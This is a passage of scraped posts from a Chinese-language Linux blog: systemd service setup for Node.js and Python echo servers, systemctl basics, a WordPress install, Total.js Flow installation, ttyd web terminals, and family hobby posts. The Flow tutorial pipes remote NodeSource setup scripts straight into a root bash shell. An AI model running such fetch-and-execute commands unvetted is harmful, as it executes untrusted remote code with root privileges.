啟動後，檢查伺服器運行狀態：\n# 查看伺服器狀態 systemctl status my_node_app ● my_node_app.service - My Node.js App Loaded: loaded (/etc/systemd/system/my_node_app.service; disabled; vendor preset: enabled) Active: active (running) since Mon 2019-09-23 02:11:15 UTC; 3s ago Main PID: 28987 (node) Tasks: 7 (limit: 4915) CGroup: /system.slice/my_node_app.service └─28987 /usr/bin/node /opt/my_app.js Sep 23 02:11:15 test-vm systemd[1]: Started My Node.js App. Sep 23 02:11:15 test-vm node[28987]: Server running at http://0.0.0.0:3001/ 若要停止伺服器，則執行：\n# 停止 my_node_app 伺服器 sudo systemctl stop my_node_app 開機自動啟動的設定方式也都跟一般服務相同：\n# 設定開機自動啟動 my_node_app 伺服器 sudo systemctl enable my_node_app # 取消開機自動啟動 my_node_app 伺服器 sudo systemctl disable my_node_app 參考資料 NodeSource Simon Prickett Tibbo ","permalink":"https://blog.gtwang.org/linux/node-js-app-systemd-service-tutorial/","summary":"\u003cp\u003e本篇示範如何將自己開發的 Node.js 應用程式與 Linux 的 Systemd 服務管理系統者整合，提供正式的網路服務。\u003c/p\u003e\n\u003cp\u003eNode.js 應用程式在開發階段可能都是放在自己的個人電腦上面執行，等到程式開發完成之後，才會需要佈署至正式的 Linux 伺服器環境，而正式上線的服務跟開發用的環境是有差異的，以下介紹如何將 Node.js 應用程式整合進 Linux 標準的 Systemd 系統中，讓系統自動啟動並管理服務行程。\u003c/p\u003e","title":"Node.js 應用程式整合 Systemd 系統服務教學"},{"content":"本篇介紹如何在 Linux 系統中自行建立一個網路伺服器，並設定讓 Systemd 自動啟動與管理伺服器的運作。\n建立 Echo 伺服器 首先以 Python 撰寫一個簡單的 echo 伺服器，將其儲存在 /opt/echo_server.py：\n#!/usr/bin/env python3 import socket # 建立 socket serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定所有網路介面的 9000 連接埠 serv.bind((\u0026#39;0.0.0.0\u0026#39;, 9000)) # 開始接受 client 連線 serv.listen() while True: # 接受 client 連線 conn, addr = serv.accept() print(\u0026#39;Client from\u0026#39;, addr) while True: # 接收資料 data = conn.recv(1024) # 若無資料則離開 if not data: break # 傳送資料 conn.send(data) conn.close() print(\u0026#39;Client disconnected\u0026#39;) 這段 Python 程式碼在執行之後，會傾聽所有網路介面的 9000 連接埠，建立連線之後將所有收到的資料送回 client 端。\n建立好 /opt/echo_server.py 之後，順便開啟執行權限：\n# 開啟執行權限 chmod +x /opt/echo_server.py 我們可以先手動測試一下，啟動 echo 伺服器：\n# 啟動 echo 伺服器（server 端） /opt/echo_server.py 接著開啟另外一個終端機，使用 nc 指令連線至 9000 連接埠\n# 連線至 localhost 的 9000 連接埠（client 端） nc localhost 9000 連上之後，隨意輸入一些文字，送出之後應該就會看到伺服器回應相同的文字，而在伺服器端應該也會顯示一些關於 client 的資訊，這樣就代表 echo 伺服器可以正常運作了。\n建立 Systemd 服務單位設定檔 建立一個新的 Systemd 服務單位設定檔，儲存於 /etc/systemd/system/echo_server.service：\n[Unit] Description=Echo Server [Service] Type=simple ExecStart=/opt/echo_server.py Restart=always [Install] WantedBy=multi-user.target 權限要設定為 644：\nsudo chmod 644 /etc/systemd/system/echo_server.service 如果在開發過程中，有修改過 Systemd 的服務單位設定檔，記得重新載入 daemon 讓新設定生效：\n# 重新載入 Systemd 設定檔 sudo systemctl daemon-reload 接著就可以使用 systemctl 指令啟動自訂的 echo 伺服器：\n# 啟動自訂的 echo 伺服器 sudo systemctl start echo_server 查看 echo 伺服器的狀態：\n# 查看 echo 伺服器狀態 systemctl status echo_server ● echo_server.service - Echo Server Loaded: loaded (/etc/systemd/system/echo_server.service; disabled; vendor pre Active: active (running) since Thu 2019-09-19 06:59:46 UTC; 1min 46s ago Main PID: 20142 (python3) Tasks: 1 (limit: 4915) CGroup: /system.slice/echo_server.service └─20142 python3 /opt/echo_server.py Sep 19 06:59:46 test-vm systemd[1]: Started Echo Server. 這樣就成功啟動了自己開發的 echo 伺服器了，此時我們可以直接使用上面的 nc 指令測試一下伺服器是否正常運作。\n如果要停止 echo 伺服器，可執行：\n# 停止 echo 伺服器 sudo systemctl stop echo_server 如果想要讓 echo 伺服器可以在開機時自動啟動，可執行：\n# 設定開機自動啟動 echo 伺服器 sudo systemctl enable echo_server Created symlink /etc/systemd/system/multi-user.target.wants/echo_server.service → /etc/systemd/system/echo_server.service. 若要取消開機自動啟動 echo 伺服器，則可執行：\n# 取消開機自動啟動 echo 伺服器 sudo systemctl disable echo_server Removed /etc/systemd/system/multi-user.target.wants/echo_server.service. 關於 systemctl 指令的詳細用法，請參考 Linux systemd 系統服務管理基礎教學文章。\nSystemd 服務單位設定檔的完整文件可以從線上手冊查詢：\n# 查詢 Systemd 服務單位設定檔說明文件 man systemd.unit man systemd.service man systemd.exec 另外亦可從 /lib/systemd/system/（Ubuntu）或 /usr/lib/systemd/system/（CentOS）目錄中找到大量的實際範例。\nSystemd 服務單位設定檔範本 以下是一個比較詳細的 Systemd 服務單位設定檔範本，在撰寫自訂服務的設定檔時，可以先複製這份設定再接著修改：\n[Unit] # 服務名稱 Description=Your Server # 服務相關文件 # Documentation=https://example.com # Documentation=man:nginx(8) # 設定服務啟動的先後相依姓，例如在網路啟動之後： # After=network.target [Service] # 行程類型 Type=simple # 啟動服務指令 ExecStart=/opt/your_command # 服務行程 PID（通常配合 forking 的服務使用） # PIDFile=/run/your_server.pid # 啟動服務前，執行的指令 # ExecStartPre=/opt/your_command # 啟動服務後，執行的指令 # ExecStartPost=/opt/your_command # 停止服務指令 # ExecStop=/opt/your_command # 停止服務後，執行的指令 # ExecStopPost=/opt/your_command # 重新載入服務指令 # ExecReload=/opt/your_command # 服務終止時自動重新啟動 Restart=always # 重新啟動時間格時間（預設為 100ms） # RestartSec=3s # 啟動服務逾時秒數 # TimeoutStartSec=3s # 停止服務逾時秒數 # TimeoutStopSec=3s # 執行時的工作目錄 # WorkingDirectory=/opt/your_folder # 執行服務的使用者（名稱或 ID 皆可） # User=myuser # 執行服務的群組（名稱或 ID 皆可） # User=mygroup # 環境變數設定 # Environment=\u0026#34;VAR1=word1 word2\u0026#34; VAR2=word3 \u0026#34;VAR3=$word 5 6\u0026#34; # 服務輸出訊息導向設定 # StandardOutput=syslog # 服務錯誤訊息導向設定 # StandardError=syslog # 設定服務在 Syslog 中的名稱 # SyslogIdentifier=your-server [Install] WantedBy=multi-user.target 參考資料 PubNub Benjamin Morel Linode LinuxConfig.org TecAdmin.net ","permalink":"https://blog.gtwang.org/linux/linux-create-systemd-service-unit-for-python-echo-server-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統中自行建立一個網路伺服器，並設定讓 Systemd 自動啟動與管理伺服器的運作。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"建立-echo-伺服器\"\u003e建立 Echo 伺服器\u003c/h2\u003e\n\u003cp\u003e首先以 Python 撰寫一個簡單的 echo 伺服器，將其儲存在 \u003ccode\u003e/opt/echo_server.py\u003c/code\u003e：\u003c/p\u003e","title":"Linux 建立自訂 Systemd 服務教學與範例"},{"content":"本篇介紹如何在各種 Linux 下使用 systemctl 指令管理 Systemd 的系統服務。\n傳統上的 Linux 都是靠 System V 的 init 來啟動各項系統服務，而後來新的 Systemd 出現之後，許多主流的 Linux 發行版都改用 Systemd 來管理系統服務，新的 Systemd 跟傳統 System V 的 init 相比，開機速度更快、效能更好、具有相依性檢查功能。\n以下我們將介紹 Systemd 的使用與管理方式，這裡所講述的內容適用於各種 Linux 發行版，例如 Ubuntu、Debian、CentOS、Fedora、Red Hat 等。\nSystemd 基本服務管理 在 Systemd 中每一個系統服務就稱為一個服務單位（unit），而服務單位又可以區分為 service、socket、target、path、snapshot、timer 等多種不同的類型（type），我們可以從設定檔的附檔名來判斷該服務單位所屬的類型，最常見的就是以 .service 結尾的系統服務，大部分的伺服器都是屬於這種。\n如果要管理 Systemd 中的各種服務，可以使用 systemctl 這個指令，配合各種操作指令來進行各種操作。\nsystemctl 操作指令 服務名稱.service 若要啟動系統服務，可以使用 start 操作指令，例如啟動 Nginx 網頁伺服器：\n# 啟動 nginx 網頁伺服器服務 sudo systemctl start nginx.service 若要顯示指定的系統服務狀態，可以使用 status 操作指令：\n# 顯示 nginx 服務狀態 systemctl status nginx.service 若要停止指定的系統服務狀態，可以使用 stop 操作指令：\n# 停止 nginx 服務 sudo systemctl stop nginx.service 當我們在指定服務名稱時，可以將結尾的 .service 省略，這樣可以少打一些字，例如：\n# 啟動 nginx 網頁伺服器服務 sudo systemctl start nginx # 顯示 nginx 服務狀態 systemctl status nginx # 停止 nginx 服務 sudo systemctl stop nginx 啟用、停用開機自動啟動服務 systemctl 的 start 與 stop 兩個操作指令是用來控制目前服務的狀態，如果想要設定開機自動啟動服務的話，就要改用 enable 與 disable：\n# 設定開機自動啟動 nginx 網頁伺服器 sudo systemctl enable nginx # 取消開機自動啟動 nginx 網頁伺服器 sudo systemctl disable nginx 檢測系統服務狀態 以下是一些用來檢測系統服務狀態的操作指令：\n# 檢查 nginx 服務是否正在運行 systemctl is-active nginx.service # 檢查 nginx 服務是否有設定開機自動啟動 systemctl is-enabled nginx.service # 檢查 nginx 服務是否啟動失敗 systemctl is-failed nginx.service 這幾個指令在撰寫系統管理的 shell 指令稿時會很好用，以下是一個範例：\n# 判斷服務狀態的 Bash 指令稿 IS_ACT=`systemctl is-active nginx.service` if [ \u0026#34;$IS_ACT\u0026#34; == \u0026#34;active\u0026#34; ]; then echo \u0026#34;Nginx is active.\u0026#34; else echo \u0026#34;Nginx is not active.\u0026#34; fi 假設我們想要撰寫一個指令稿，定期檢查特定服務，在服務出問題的時候自動重新啟動，或是發送 Email 通知，就可以從這段指令稿來修改。\n列出 Systemd 所有服務 若想要列出所有已啟動的服務，可以使用 list-units 操作指令：\n# 列出所有已啟動的服務 systemctl list-units UNIT LOAD ACTIVE SUB DESCRIPTION atd.service loaded active running ATD daemon avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack dbus.service loaded active running D-Bus System Message Bus [略] list-units 的輸出包含許多欄位，以下是各個欄位的說明。\n欄位 說明 UNIT Systemd 服務單位（unit）名稱。 LOAD 該服務單位設定檔是否有被 Systemd 載入至記憶體中。 ACTIVE 是否已經正常啟動。 SUB 更詳細的狀態說明，值會因為不同服務有所不同。 DESCRIPTION 關於此服務的簡單說明。 事實上 systemctl 的預設動作就是列出所有已啟動的服務，所以也可以省略 list-units：\n# 列出所有已啟動的服務 systemctl 如果想要列出系統上所有的服務（包含已啟動與未啟動的），可以加上 --all 參數：\n# 列出系統上所有的服務 systemctl list-units --all 如果想列出未啟動的所有服務，可以加上 --state=inactive：\n# 列出系統上所有未啟動的服務 systemctl list-units --all --state=inactive 只列出系統上所有 service 類型的服務也是很常用的：\n# 只列出系統上所有 service 類型的服務 systemctl list-units --type=service 服務內部設定與狀態 如果想要查看指定服務的 Systemd 設定檔內容，可以用 cat 操作指令將設定檔印出來：\n# 查看服務內部設定檔 systemctl cat atd.service # /usr/lib/systemd/system/atd.service [Unit] Description=Job spooling tools After=syslog.target systemd-user-sessions.service [Service] EnvironmentFile=/etc/sysconfig/atd ExecStart=/usr/sbin/atd -f $OPTS IgnoreSIGPIPE=no [Install] WantedBy=multi-user.target Systemd 會自動處理服務的相依性問題，如果想要查看特定服務的相依服務，可以使用 list-dependencies 操作指令：\n# 查看特定服務的相依服務 systemctl list-dependencies sshd.service sshd.service ● ├─sshd-keygen.service ● ├─system.slice ● └─basic.target ● ├─firewalld.service [略] 若想要查看特定服務的底層設定值，可以使用 show 操作指令：\n# 查看特定服務的底層設定值 systemctl show sshd.service Type=notify Restart=on-failure NotifyAccess=main RestartUSec=42s TimeoutStartUSec=1min 30s TimeoutStopUSec=1min 30s [略] 由於底層設定值非常多，如果只想要查看特定的設定值，可以用 -p 參數來指定：\n# 查看特定服務的特定設定值 systemctl show sshd.service -p MainPID MainPID=9898 遮蔽特定服務 在某些情況下我們可能會希望停用某項服務，避免它被手動或自動啟動，這時候就可以利用 mask 操作指令，將特定的服務遮蔽起來：\n# 遮蔽特定服務 sudo systemctl mask nginx.service 服務被遮蔽之後，就會無法啟動：\n# 嘗試啟動被遮蔽的服務 sudo systemctl start nginx.service Failed to start nginx.service: Unit nginx.service is masked. 如果想恢復被遮蔽的服務，可以使用 unmask 操作指令：\n# 恢復被遮蔽的服務 sudo systemctl unmask nginx.service 編輯服務設定 如果想要更改某些服務的設定，可以使用 edit 操作指令：\n# 編輯服務設定 sudo systemctl edit nginx.service 執行這行指令之後，會開啟一個空白的檔案，讓管理者將新的設定值寫在裡面，存檔離開後，Systemd 會在 /etc/systemd/system/ 目錄之下，建立一個服務名稱加上 .d 的子目錄（以這個例子來說就是 nginx.service.d），然後將新增的設定寫在這個子目錄下的 override.conf 中，之後 Systemd 在載入服務設定檔時，就會自動優先採用此處的設定。\n如果想要直接編輯完整的設定檔，可以加上 --full 參數：\n# 編輯服務設定（顯示完整設定內容） sudo systemctl edit --full nginx.service 這樣的修改方式就會直接把完整的設定寫入 /etc/systemd/system/ 目錄底下，而 Systemd 會優先採用此處的設定值。\n如果想要移除先前用 edit 修改的設定，只要直接刪除對應的 .d 目錄即可：\n# 刪除自己修改的設定 sudo rm -r /etc/systemd/system/nginx.service.d 如果是以 --full 模式修改的話，就要刪除對應的設定檔，然後重新載入 Systemd：\n# 刪除自己修改的設定（full 模式） sudo rm /etc/systemd/system/nginx.service # 重新載入 Systemd sudo systemctl daemon-reload 如果想要自己新增 Systemd 的服務單位，可參考 Linux 建立自訂 Systemd 服務教學文章。\n參考資料 鳥哥的 Linux 私房菜 Digital Ocean Digital Ocean ","permalink":"https://blog.gtwang.org/linux/linux-basic-systemctl-systemd-service-unit-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何在各種 Linux 下使用 \u003ccode\u003esystemctl\u003c/code\u003e 指令管理 Systemd 的系統服務。\u003c/p\u003e\n\u003cp\u003e傳統上的 Linux 都是靠 System V 的 init 來啟動各項系統服務，而後來新的 Systemd 出現之後，許多主流的 Linux 發行版都改用 Systemd 來管理系統服務，新的 Systemd 跟傳統 System V 的 init 相比，開機速度更快、效能更好、具有相依性檢查功能。\u003c/p\u003e","title":"Linux systemd 系統服務管理基礎教學與範例"},{"content":"本篇是我實際架設一個正式的 WordPress 網站的過程記錄，內容包含許多關鍵的技術與設定檔。\n最近打算成立一個新網站，專門用來分享素食食譜，我順便把整個網站架設過程都寫在這裡，讓大家可以參考，不過這篇是個人筆記性質，只記錄關鍵性的部分，如果想要照著做的話，需要一點技術基礎，不是只用複製貼上就可以完成的。\n這個新網站我是在 Linode 的 VPS 環境中架設的，在既有的伺服器中架設一個全新的網站，而原本的 CentOS Linux 系統上已經有 Nginx 伺服器、PHP 7、MariaDB 的基礎環境，以及多種系統調校：\nNginx 與 PHP-FPM 最佳化效能設定教學與技巧 NGINX 設定 FastCGI Cache 快取教學 CentOS Linux 編譯 NGINX + Google PageSpeed + Brotli 模組流程記錄 NGINX 使用 Let’s Encrypt 免費 SSL 憑證設定 HTTPS 安全加密網頁教學 以上只列出比較重要的部分，其他更詳細的資料可參考 Nginx 相關文章。\n如果想從無到有打造這樣的環境，對於沒有 Linux 基礎的人來說門檻相當高，建議改用類似 Bluehost 這類的主機商所提供的 WordPress 架站環境，簡單、快速又不需要懂太多技術。\n購買網址 在架設一個正式的網站時，第一步就是要決定網址，網址可以從各大網域服務商（例如 Google Domain 或 GoDaddy）的網站上搜尋並挑選，選擇好之後以信用卡付款，馬上就可以把網址買下來。\n買下來之後，根據 Linode VPS 的 public IP 位址，分別設定 IPv4 與 IPv6 的 DNS 記錄（A 與 AAAA），網路上有很多免費的 DNS 託管服務可用，Google 本身也有提供，選哪一家都可以，影響不大，我習慣是使用 Cloudflare。\nDNS 設定更新之後，需要等幾個小時到一天左右的時間，讓新設定生效。\n設定 Nginx 與 HTTPS/SSL 先建立一個放置網頁資料的目錄：\nmkdir -p /srv/MY.DOMAIN 其中 MY.DOAMIN 就是自己買的網址，例如 blog.gtwang.org。\n先建立一個簡單的 Nginx 設定檔，用來安裝 certbot 的憑證：\nserver { listen 80; listen [::]:80; server_name MY.DOAMIN; root /srv/MY.DOAMIN; index index.html index.htm; } 測試並重新啟動 Nginx：\n# 測試 Nginx 設定檔 nginx -t # 重新啟動 Nginx 伺服器 systemctl restart nginx 參考以前的 certbot 教學，下載並安裝憑證：\ncertbot certonly --webroot -w /srv/MY.DOAMIN/ -d MY.DOAMIN 憑證安裝好之後，就可以修改 Nginx 的設定檔，將 HTTP 導向至 HTTPS，並增加各種的最佳化設定。\n新增 MariaDB 資料庫與帳號 參考 MySQL/MariaDB 新增資料庫與帳號的教學，建立一個新網站專用的資料庫與使用者。\n# 進入 MySQL/MariaDB 環境 mysql -u root -p 新增 MariaDB 資料庫與帳號：\n-- 新增資料庫 CREATE DATABASE `my_db`; -- 新增使用者，設定密碼 CREATE USER \u0026#39;my_user\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;my_password\u0026#39;; -- 設定使用者權限 GRANT ALL PRIVILEGES ON my_db.* TO \u0026#39;my_user\u0026#39;@\u0026#39;localhost\u0026#39;; 安裝 WordPress 下載並解壓縮 WordPress：\nwget https://tw.wordpress.org/wordpress-5.2.3-zh_TW.tar.gz tar zxf wordpress-5.2.3-zh_TW.tar.gz sudo mv wordpress/* /srv/MY.DOMAIN/ rmdir wordpress 將 /srv/MY.DOMAIN 目錄的擁有者變更為 nginx：\nsudo chown -R nginx:nginx /srv/MY.DOMAIN/ 接著就只要打開瀏覽器，連上 MY.DOAMIN 這個新網址，依照網頁上顯示的步驟即可進行 WordPress 的安裝了。\nWordPress 外掛 WordPress 有非常大量的外掛可以使用，以下是我個人的常用清單：\nAccelerated Mobile Pages Ads.txt Manager Comet Cache Compress JPEG \u0026amp; PNG images Disable Search Easy Affiliate Links HTML Editor Syntax Highlighter Redirection TinyMCE Advanced Un-double the dash Widget Logic WP Cerber Security, Antispam \u0026amp; Malware Scan WP Retina 2x WPS Hide Login Yoast SEO 傳統編輯器 強制重新產生縮圖 如果使用 Genesis 佈景主題，可以考慮：\nGenesis Grid ","permalink":"https://blog.gtwang.org/linux/centos-linux-install-wordpress-notes/","summary":"\u003cp\u003e本篇是我實際架設一個正式的 WordPress 網站的過程記錄，內容包含許多關鍵的技術與設定檔。\u003c/p\u003e\n\u003cp\u003e最近打算成立一個新網站，專門用來分享素食食譜，我順便把整個網站架設過程都寫在這裡，讓大家可以參考，不過這篇是個人筆記性質，只記錄關鍵性的部分，如果想要照著做的話，需要一點技術基礎，不是只用複製貼上就可以完成的。\u003c/p\u003e","title":"CentOS Linux 安裝 WordPress 架設網站筆記"},{"content":"介紹如何在 Ubuntu Linux 系統中安裝 Total.js Flow 視覺化程式設計架構。\nTotal.js 是一個 JavaScript 的平台架構，提供了相當多的模組，其中的 Flow 是一個視覺化程式設計（visual programming）介面，以下是安裝的步驟。\n安裝 Node.js 透過 NodeSource 所提供的套件庫來安裝新版的 Node.js：\n# 透過 NodeSource 的套件庫安裝 Node.js 12.x curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - sudo apt-get install -y nodejs 以下是安裝舊版本的指令：\n# 安裝 Node.js 11.x curl -sL https://deb.nodesource.com/setup_11.x | sudo -E bash - sudo apt-get install -y nodejs # 安裝 Node.js 10.x curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - sudo apt-get install -y nodejs # 安裝 Node.js 8.x curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash - sudo apt-get install -y nodejs 安裝完成後，檢查一下 node 的版本：\n# 檢查 node 的版本 node -v v12.10.0 下載 Flow empty-project 專案 從 GitHub 下載 Flow 的 empty-project 專案：\n# 下載 Flow empty-project 專案 git clone https://github.com/totaljs/emptyproject-flow.git 進入專案目錄，並安裝一下必要的 Node.js 套件：\n# 進入專案目錄 cd emptyproject-flow/ # 安裝必要套件 npm install 以除錯模式執行 Flow：\n# 以除錯模式執行 Flow node debug.js 接著就可以打開瀏覽器，輸入網址 http://127.0.0.1:8000/ 即可看到執行的結果。\n整合 Nginx 伺服器 在 emptyproject-flow 專案之下有一個 config 設定檔，裡面可以調整 Flow 網頁的對應網址，預設會是 '/'（也就是根目錄），而為了要可以跟其他網頁整合在一起，我們必須把這個位置修改一下，例如修改成 '/flow/'：\n// Packages settings package#flow (Object) : { url: \u0026#39;/flow/\u0026#39; } 接著調整一下 Nginx 伺服器的設定，加入以下的 Proxy 設定：\nserver { # ... location ^~ /flow/ { proxy_pass http://127.0.0.1:8000/flow/; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } 重新啟動 Nginx 以及 Flow 伺服器讓設定生效，這樣就可以讓 /flow/ 這個網址導向至內部的 http://127.0.0.1:8000/flow/ 了。\n參考資料 Total.js Wiki ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-install-total-js-flow-visual-programming-interface-tutorial/","summary":"\u003cp\u003e介紹如何在 Ubuntu Linux 系統中安裝 Total.js Flow 視覺化程式設計架構。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003ca href=\"https://www.totaljs.com/\"\u003eTotal.js\u003c/a\u003e 是一個 JavaScript 的平台架構，提供了相當多的模組，其中的 \u003ca href=\"https://www.totaljs.com/flow/\"\u003eFlow\u003c/a\u003e 是一個視覺化程式設計（visual programming）介面，以下是安裝的步驟。\u003c/p\u003e","title":"Ubuntu Linux 安裝 Total.js Flow 視覺化程式設計架構教學"},{"content":"本篇介紹如何使用 ttyd 透過網頁使用 Linux 系統中的終端機，處理各種互動式工作。\nttyd 是一個簡單的指令工具，可以讓使用者透過網頁介面使用 Linux 系統的終端機，支援各種互動式的操作、安全加密、分享 session 等，是一個小巧好用的小工具。\n這裡我們以 Ubuntu Linux 系統做為測試環境，示範如何安裝與使用 ttyd。\n安裝 ttyd 首先使用 apt 安裝一些編譯 ttyd 所需要的套件：\n# 安裝必要套件 sudo apt-get install cmake g++ pkg-config git vim-common libwebsockets-dev libjson-c-dev libssl-dev 使用 git 從 GitHub 下載最新的 ttyd 原始碼：\n# 下載 ttyd 原始碼 git clone https://github.com/tsl0922/ttyd.git 使用 CMake 編譯及安裝：\n# 編譯與安裝 cd ttyd \u0026amp;\u0026amp; mkdir build \u0026amp;\u0026amp; cd build cmake .. make sudo make install 使用 ttyd 分享終端機 安裝好之後就可以使用 ttyd 這個指令來啟動網頁的終端機介面，這個指令有許多的參數可以使用：\n參數 說明 -p --port 指定連接埠，預設為 7681，而 代表隨機選取。 -i --interface 指定網路介面，例如 eth0 或 /var/run/ttyd.sock。 -c --credential 指定認證用的帳號密碼檔案（格式為 username:password）。 -u --uid 指定執行 ttyd 的使用者 ID。 -g --gid 指定執行 ttyd 的群組 ID。 -s --signal 離開 ttyd 時傳送的信號（預設為 SIGHUP）。 -a --url-arg 允許使用者由 URL 的參數帶入指令。 -R --readonly 唯讀模式。 -t --client-option 指定傳送給 client 的設定，格式為 key=value。 -T --terminal-type 指定終端機類型，預設為 xterm-256color。 -O --check-origin 不允許不同來源的 WebSocket 連線。 -m --max-clients 指定 client 數量上限，預設為 （無上限）。 -o --once 僅接受一個 client，離線後就結束。 -B --browser 以系統預設的瀏覽器開啟終端機。 -I --index 自行指定 index.html 的位置。 -S --ssl 啟用 SSL 加密。 -C --ssl-cert 指定 SSL certificate 檔案。 -K --ssl-key 指定 SSL key 檔案。 -A --ssl-ca 指定 SSL ca 檔案。 -d --debug 設定除錯訊息輸出層級，預設為 7。 -v --version 顯示版本。 -h --help 顯示使用說明。 ttyd 執行時必須要指定一個啟動指令，最常見的就是 Linux 的預設 shell，也就是 bash：\n# 將 ttyd 開在 8080 連接埠，使用 bash shell ttyd -p 8080 bash 執行這行指令即可啟動一個基本的 ttyd 伺服器，它預設只會開在本機的 127.0.0.1 網路介面上，接著就可以在本機以瀏覽器開啟 http://127.0.0.1:8080/ 來查看這個網頁介面的終端機。\n除了常見的 shell 之外，也可以使用各種文字介面的指令作為啟動指令，例如 Vim 編輯器：\n# 使用 Vim 編輯器作為啟動指令 ttyd -p 8080 vim 若要讓使用者以 Linux 系統的帳號與密碼登入，可以使用 login 作為啟動指令：\n# 文字登入介面 sudo ttyd -p 8080 login Nginx 如果想要將 ttyd 放在 Nginx 伺服器後方，透過 Proxy 的方式提供連線，可以參考以下的 Nginx 設定：\nserver { # ... location ^~ /console { proxy_pass http://127.0.0.1:8080/; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } 在 Nginx 的設定檔中加入這段設定之後，就可以將 /console 這個位置導向至本機的 http://127.0.0.1:8080/，讓 ttyd 跟一般的網頁整合在一起。\n新增 Systemd 服務 如果想要讓 Linux 系統的 Systemd 自動管理 ttyd 伺服器，讓它再開機時自動啟動，可以參考 Systemd 的使用教學以及 Systemd 新增服務設定教學，新增一個設定檔 /etc/systemd/system/ttyd.service：\n[Unit] Description=ttyd server [Service] Type=simple ExecStart=/usr/local/bin/ttyd -p 8080 login Restart=always [Install] WantedBy=multi-user.target 將權限設定為 644：\nsudo chmod 644 /etc/systemd/system/ttyd.service 重新載入 Systemd 設定檔：\n# 重新載入 Systemd 設定檔 sudo systemctl daemon-reload 接著就可以使用 systemctl 指令啟動自訂的 ttyd 伺服器：\n# 啟動自訂的 ttyd 伺服器 sudo systemctl start ttyd ","permalink":"https://blog.gtwang.org/linux/ttyd-share-terminal-over-the-web/","summary":"\u003cp\u003e本篇介紹如何使用 \u003ccode\u003ettyd\u003c/code\u003e 透過網頁使用 Linux 系統中的終端機，處理各種互動式工作。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/tsl0922/ttyd\"\u003ettyd\u003c/a\u003e 是一個簡單的指令工具，可以讓使用者透過網頁介面使用 Linux 系統的終端機，支援各種互動式的操作、安全加密、分享 session 等，是一個小巧好用的小工具。\u003c/p\u003e","title":"ttyd 網頁介面 Linux 系統終端機工具"},{"content":"這裡整理了許多可以免費下載紙模型樣板的網站，可以作為小朋友的勞作素材。\n網路上有許多讓人免費下載紙模型樣板的網站，不過性質差異很大，品質也參差不齊，有些難度很高，也不太適合給小朋友做，這裡我記錄我自己用過且滿意的網站，有需要的人可以參考一下。（目前只有一個，未來若有看到其他的我再加上來）\nCanon Create Park Create Park 是 Canon 所成立網站，上面有很多優質的紙模型樣板，都是高品質的 PDF 檔案，可以免費下載，列印出來之後就可以給小朋友製作，大部分的素材都很適合小朋友。\n名稱：Canon Create Park\n網址：https://creativepark.canon/\n這是 Canon Create Park 的首頁，裡面有許多的分類，可以依照分類尋找喜愛的素材。\n裡面的素材都是以 PDF 檔案的方式下載，模型都設計得很精緻，而且大部分的模型製作起來都算簡單，以下是我們家阿玄（小學三年級）自己做的。\n這一個是巴黎鐵塔的紙模型，大部分的地方阿玄都可以自己完成。\n這是阿玄黏好的巴黎鐵塔底座。\n阿玄做好鐵塔的上下兩部分，黏合的時候需要我幫忙一下。\n這些紙模型都設計得很不錯，製作簡單，而且製作出來之後，看起來又很漂亮，讓小朋友來做會很有成就感，也很好玩。\n剛開始讓小朋友製作時，要稍微注意一下不要選黏貼區塊太小、太多的，最好選擇簡單一點的先練習，如果第一次就做不出來，小朋友可能就沒興趣了。\n","permalink":"https://blog.gtwang.org/children/free-download-paper-craft-templates-for-children/","summary":"\u003cp\u003e這裡整理了許多可以免費下載紙模型樣板的網站，可以作為小朋友的勞作素材。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e網路上有許多讓人免費下載紙模型樣板的網站，不過性質差異很大，品質也參差不齊，有些難度很高，也不太適合給小朋友做，這裡我記錄我自己用過且滿意的網站，有需要的人可以參考一下。（目前只有一個，未來若有看到其他的我再加上來）\u003c/p\u003e","title":"兒童免費紙模型樣板下載網站整理"},{"content":"本篇記錄 2019 年暑假，阿玄用單眼相機拍攝鳥類，並製作成明信片的過程。\n最近阿玄放暑假在家，我帶他去附近的公園拍照，有些照片拍得很好，我挑了幾張比較好的照片，用 7-ELEVEN 的 ibon 印出來變成明信片，剛好阿玄也沒有實際寫過明信片，剛好讓他體驗一下，開學後還可以拿到學校跟同學分享。\n這幾天阿玄只要有時間都會叫我帶他去公園拍照，在公園裡到處觀察哪裡有鳥可以拍，通常一拍都是一兩個小時。\n他用的相機是我十年前買的第一台單眼相機 Olympus E-520，搭配 40-150mm 的 Kit 